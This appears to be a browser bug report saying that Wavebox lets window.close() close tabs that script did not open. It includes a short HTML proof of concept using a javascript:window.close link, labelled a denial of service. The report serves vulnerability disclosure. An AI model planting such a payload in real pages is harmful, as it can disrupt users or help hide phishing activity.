window.close() can be triggered even didn't open by window.open() #1480
Description
In the Wavebox browser, the window.close() method can be executed successfully even when the current window was not opened via window.open(). This behavior deviates from the standard implementation in most modern browsers (like Chrome, Firefox, Safari), which restrict the use of window.close() to windows opened programmatically. This unexpected behavior could be exploited by attackers to trick users into navigating to a phishing site, and then forcefully close the tab, erasing traces or interrupting user actions.
save this html file :
<html>
<title>Browser Window Object Remote Denial of Service.</title>
<head></head>
<body><br><br>
<h1><center>Browser Window Object Remote Denial of Service</center></h1><br><br>
<h2><center>Proof of Concept</center></br></br> </h2>
<center>
<b>Click the below link to Trigger the Vulnerability..</b><br><br>
<hr></hr>
<hr></hr>
<b><center><a href="javascript:window.close(self);">Browser Window Object DoS Test POC</a></center>
</center>
</body>
</html>
Open then click on link. You should realize that the tab is closed when you click on that link. This behavior is not appears in chromium browser.